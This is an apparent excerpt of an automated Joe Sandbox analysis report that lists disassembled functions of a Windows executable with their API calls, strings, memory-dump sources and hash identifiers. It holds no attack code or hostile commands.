nul, xrefs: 00A50639

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: d4bfd8e7da8ad9f824c846583d7d6592b43532177b8cfa4edef409c95a215639
Instruction ID: b74b7e31f018bd6b9a746082ae1c8466f08e0512743041365f0a08335e65b5bb
Opcode Fuzzy Hash: d4bfd8e7da8ad9f824c846583d7d6592b43532177b8cfa4edef409c95a215639
Instruction Fuzzy Hash: A52181755003069BDB209F69CC04E9A7BE4BF95731F244A19FCA1E72E0D7B099A5CB50

Function 00A740AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009E600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 009E604C
Part of subcall function 009E600E: GetStockObject.GDI32(00000011), ref: 009E6060
Part of subcall function 009E600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 009E606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00A74112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00A7411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00A7412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00A74139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00A74145

Strings

Msctls_Progress32, xrefs: 00A740E3

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: ac5dd93ff48c36d207e18c7e5b40eca1dac6fc8f3223f8d5f0bcd0c99f42dc2e
Instruction ID: 15a7425cccd8a6ef149b1dd99c887d21e6c90541035b7e76e1dd9ea3a392c9b8
Opcode Fuzzy Hash: ac5dd93ff48c36d207e18c7e5b40eca1dac6fc8f3223f8d5f0bcd0c99f42dc2e
Instruction Fuzzy Hash: DF11B6B1140119BEEF119FA4CC85EE77F5DEF08798F008110B618A2050C7769C61DBA4

Function 00A1D7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00A1D7A3: _free.LIBCMT ref: 00A1D7CC

_free.LIBCMT ref: 00A1D82D

Part of subcall function 00A129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00A1D7D1,00000000,00000000,00000000,00000000,?,00A1D7F8,00000000,00000007,00000000,?,00A1DBF5,00000000), ref: 00A129DE
Part of subcall function 00A129C8: GetLastError.KERNEL32(00000000,?,00A1D7D1,00000000,00000000,00000000,00000000,?,00A1D7F8,00000000,00000007,00000000,?,00A1DBF5,00000000,00000000), ref: 00A129F0

_free.LIBCMT ref: 00A1D838
_free.LIBCMT ref: 00A1D843
_free.LIBCMT ref: 00A1D897
_free.LIBCMT ref: 00A1D8A2
_free.LIBCMT ref: 00A1D8AD
_free.LIBCMT ref: 00A1D8B8

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction ID: 0688d5226fc4c351bf6b1cae27f272f01a0746ca4e074453529ed8124d307e66
Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction Fuzzy Hash: 68115E71540B04AAD621BFB0CE47FCB7BDCAF40750F480825B299AE0D2DAA5F5A58760

Function 00A4DA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00A4DA74
LoadStringW.USER32(00000000), ref: 00A4DA7B
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00A4DA91
LoadStringW.USER32(00000000), ref: 00A4DA98
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00A4DADC

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00A4DAB9

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: c7e698158722d1ab1950bf40b36fa0532a16fb7db9f67314e1d886d34eda1fe7
Instruction ID: 33ff3198537db20a5fbacdae50d31f371b6f3278aa84772a774cc646d9c83637
Opcode Fuzzy Hash: c7e698158722d1ab1950bf40b36fa0532a16fb7db9f67314e1d886d34eda1fe7
Instruction Fuzzy Hash: DF0162F65002087FE711EBE09D89EE7366CE708711F4085A9B71AE2041EA749EC54F74

Function 00A5096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(016CDF88,016CDF88), ref: 00A5097B
EnterCriticalSection.KERNEL32(016CDF68,00000000), ref: 00A5098D
TerminateThread.KERNEL32(?,000001F6), ref: 00A5099B
WaitForSingleObject.KERNEL32(?,000003E8), ref: 00A509A9
CloseHandle.KERNEL32(?), ref: 00A509B8
InterlockedExchange.KERNEL32(016CDF88,000001F6), ref: 00A509C8
LeaveCriticalSection.KERNEL32(016CDF68), ref: 00A509CF

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: dd3a0ea847da816b56bb5a6c49a3c3f09ce54c27878134e14d8fe2d680701866
Instruction ID: 7d4e771fb54c6e2cae231ad2b08bce3d105583d2cc5af6e6b937a970ef568f5e
Opcode Fuzzy Hash: dd3a0ea847da816b56bb5a6c49a3c3f09ce54c27878134e14d8fe2d680701866
Instruction Fuzzy Hash: BEF01D32442512EBD741AB94EE88AD6BB25BF01712F405029F205608A5C77494A6CFD0

Function 00A61C60 Relevance: 9.3, APIs: 6, Instructions: 298networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00A61DC0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00A61DE1
WSAGetLastError.WSOCK32 ref: 00A61DF2
htons.WSOCK32(?,?,?,?,?), ref: 00A61EDB
inet_ntoa.WSOCK32(?), ref: 00A61E8C

Part of subcall function 00A439E8: _strlen.LIBCMT ref: 00A439F2

Part of subcall function 00A63224: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,?,?,?,00A5EC0C), ref: 00A63240

_strlen.LIBCMT ref: 00A61F35

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _strlen$ByteCharErrorLastMultiWidehtonsinet_ntoa
String ID:
API String ID: 3203458085-0
Opcode ID: 69e06fe5899ec25b0c386873878d5745c8334a6933ab0fe6aadfb4e720f83462
Instruction ID: e546d2265f52106a4fc22f1a818fc1745096a3d10814f51d1f24ccc70cef7de6
Opcode Fuzzy Hash: 69e06fe5899ec25b0c386873878d5745c8334a6933ab0fe6aadfb4e720f83462
Instruction Fuzzy Hash: E8B1AB31604340AFC324DF25C895F2A7BB5AF84318F58894CF55A9B2A2DB71ED46CB92

Function 009E5D0A Relevance: 9.3, APIs: 6, Instructions: 276COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 009E5D30
GetWindowRect.USER32(?,?), ref: 009E5D71
ScreenToClient.USER32(?,?), ref: 009E5D99
GetClientRect.USER32(?,?), ref: 009E5ED7
GetWindowRect.USER32(?,?), ref: 009E5EF8

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 161a62e3e5b909d0b8d7fcf36e07c9a14d2f85bff052c5e04a7e78fb99e76324
Instruction ID: 25b3af59a6e38cf24e48f3bae76226b02508e8adda82a740602b32a699dd8527
Opcode Fuzzy Hash: 161a62e3e5b909d0b8d7fcf36e07c9a14d2f85bff052c5e04a7e78fb99e76324
Instruction Fuzzy Hash: 74B17A34A1078ADBDB10CFA9C4807EEB7F1FF48314F14881AE8A9D7250DB34AA91DB50

Function 00A101B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 00A100BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A100D6
__allrem.LIBCMT ref: 00A100ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A1010B
__allrem.LIBCMT ref: 00A10122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A10140

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction ID: 73740e5c86c14128681b725d1844897a6f04ff35b9ea84a8025c852cd0ab369a
Opcode Fuzzy Hash: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction Fuzzy Hash: 40810672A0070AAFE7249F28DD41FAB73E8AF55324F24463AF551D66C1EBB4D9C08750

Function 00A161FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00A082D9,00A082D9,?,?,?,00A1644F,00000001,00000001,8BE85006), ref: 00A16258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00A1644F,00000001,00000001,8BE85006,?,?,?), ref: 00A162DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00A163D8
__freea.LIBCMT ref: 00A163E5

Part of subcall function 00A13820: RtlAllocateHeap.NTDLL(00000000,?,00AB1444,?,009FFDF5,?,?,009EA976,00000010,00AB1440,009E13FC,?,009E13C6,?,009E1129), ref: 00A13852

__freea.LIBCMT ref: 00A163EE
__freea.LIBCMT ref: 00A16413

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: b2c0876dba9cda649af8ef3e20bb40b2fd37b446f9c07709ea0bc3405fec44bb
Instruction ID: 39d167d70c7f49903bfb51bb55501b951c02205f8f029cf15ff129a94d9b943d
Opcode Fuzzy Hash: b2c0876dba9cda649af8ef3e20bb40b2fd37b446f9c07709ea0bc3405fec44bb
Instruction Fuzzy Hash: 7451A072A00216AFEF258F64DD81EEF77AAEB44760F154629FD15DA180EB34DCC0D6A0

Function 00A6BBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009E9CB3: _wcslen.LIBCMT ref: 009E9CBD

Part of subcall function 00A6C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A6B6AE,?,?), ref: 00A6C9B5
Part of subcall function 00A6C998: _wcslen.LIBCMT ref: 00A6C9F1
Part of subcall function 00A6C998: _wcslen.LIBCMT ref: 00A6CA68
Part of subcall function 00A6C998: _wcslen.LIBCMT ref: 00A6CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A6BCCA
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00A6BD25
RegCloseKey.ADVAPI32(00000000), ref: 00A6BD6A
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00A6BD99
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00A6BDF3
RegCloseKey.ADVAPI32(?), ref: 00A6BDFF

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: eb0736c27f1cd0ed4b23784dcc55614c3aa3fc577bff6e6389e07b33f94da422
Instruction ID: cac75405ffaa6c7a7b3fdc4bbfae16c835b77e0f8ba2c10a5400beb88ded5741
Opcode Fuzzy Hash: eb0736c27f1cd0ed4b23784dcc55614c3aa3fc577bff6e6389e07b33f94da422
Instruction Fuzzy Hash: 22817A30218241EFC715DF24C881E2ABBF5BF84308F14895CF5598B2A2DB31ED85CBA2

Function 00A3F7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 00A3F7B9
SysAllocString.OLEAUT32(00000001), ref: 00A3F860
VariantCopy.OLEAUT32(00A3FA64,00000000), ref: 00A3F889
VariantClear.OLEAUT32(00A3FA64), ref: 00A3F8AD
VariantCopy.OLEAUT32(00A3FA64,00000000), ref: 00A3F8B1
VariantClear.OLEAUT32(?), ref: 00A3F8BB

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: c5d6d20af5ce681b2ddedc43394298499e212ecee80582ce3d46673539654c66
Instruction ID: e73286e58fec13ccfbda053a0c8e08bf2c954707c0164eb4812f5d68817d44ae
Opcode Fuzzy Hash: c5d6d20af5ce681b2ddedc43394298499e212ecee80582ce3d46673539654c66
Instruction Fuzzy Hash: 0F51B431E20314BECF24AB65D895B39B3A8EF45710F24946BF906DF296DB708C40CB96

Function 00A5910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 009E7620: _wcslen.LIBCMT ref: 009E7625

Part of subcall function 009E6B57: _wcslen.LIBCMT ref: 009E6B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 00A594E5
_wcslen.LIBCMT ref: 00A59506
_wcslen.LIBCMT ref: 00A5952D
GetSaveFileNameW.COMDLG32(00000058), ref: 00A59585

Strings

X, xrefs: 00A59412

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: eb4553bbf54d3f04118c106f01ee00c8113d6cb7005111c3a1c6806689bc4a50
Instruction ID: 08ff8bbd20425c914105fab192a4e572ef5b91c091636efed27fb7b3106ab753
Opcode Fuzzy Hash: eb4553bbf54d3f04118c106f01ee00c8113d6cb7005111c3a1c6806689bc4a50
Instruction Fuzzy Hash: FCE18C31508340DFD725EF25C881B6AB7E4BF84314F14896DF9899B2A2EB31DD49CB92

Function 009F920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 009F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 009F9BB2

BeginPaint.USER32(?,?,?), ref: 009F9241
GetWindowRect.USER32(?,?), ref: 009F92A5
ScreenToClient.USER32(?,?), ref: 009F92C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 009F92D3
EndPaint.USER32(?,?,?,?,?), ref: 009F9321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00A371EA

Part of subcall function 009F9339: BeginPath.GDI32(00000000), ref: 009F9357

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: BeginPaintWindow$ClientLongPathRectRectangleScreenViewport
String ID:
API String ID: 3050599898-0
Opcode ID: 307220afe5c5ece8c32908661cd04a356d09ef5458cfad219ac93b46753ae72f
Instruction ID: c4890cad94e5907d555468a509d3f0296073e550cc158e6566ca8738d1c7b5fc
Opcode Fuzzy Hash: 307220afe5c5ece8c32908661cd04a356d09ef5458cfad219ac93b46753ae72f
Instruction Fuzzy Hash: BE41DE71104305AFD721DF64CC94FBA7BB8EF85324F100629FAA8872B2C7719886DB61

Function 00A507EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00A5080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 00A50847
EnterCriticalSection.KERNEL32(?), ref: 00A50863
LeaveCriticalSection.KERNEL32(?), ref: 00A508DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 00A508F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 00A50921

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: b29e33438df61cc151469f0bca0b2567ad978d984e2c62ea7db3c8753667ddc8
Instruction ID: 9a9f22c9ccd9ce06a00f4f3ff87f837db14817f17fc250cbf2c94454814dfc34
Opcode Fuzzy Hash: b29e33438df61cc151469f0bca0b2567ad978d984e2c62ea7db3c8753667ddc8
Instruction Fuzzy Hash: 7D414A71900209EFDF14EF94DC85AAA7779FF44310F1480A9ED04AA29BD730DE65DBA0

Function 00A781DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,00A3F3AB,00000000,?,?,00000000,?,00A3682C,00000004,00000000,00000000), ref: 00A7824C
EnableWindow.USER32(?,00000000), ref: 00A78272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 00A782D1
ShowWindow.USER32(?,00000004), ref: 00A782E5
EnableWindow.USER32(?,00000001), ref: 00A7830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 00A7832F

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 04760005be0d11ed32f55f348cb139a64a55a8eeb98d7f5315c8814487410d11
Instruction ID: c5fe63d6c40ec05d4a69b4982599491a988b305ea275d1c9329c91f9c9d1cb8e
Opcode Fuzzy Hash: 04760005be0d11ed32f55f348cb139a64a55a8eeb98d7f5315c8814487410d11
Instruction Fuzzy Hash: 44417034641644AFDB15CF55DC99BE47BE0BB0A715F18C269E61C4F273CB35A842CB90

Function 00A44C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00A44C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00A44CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00A44CEA
_wcslen.LIBCMT ref: 00A44D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00A44D10
_wcsstr.LIBVCRUNTIME ref: 00A44D1A

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
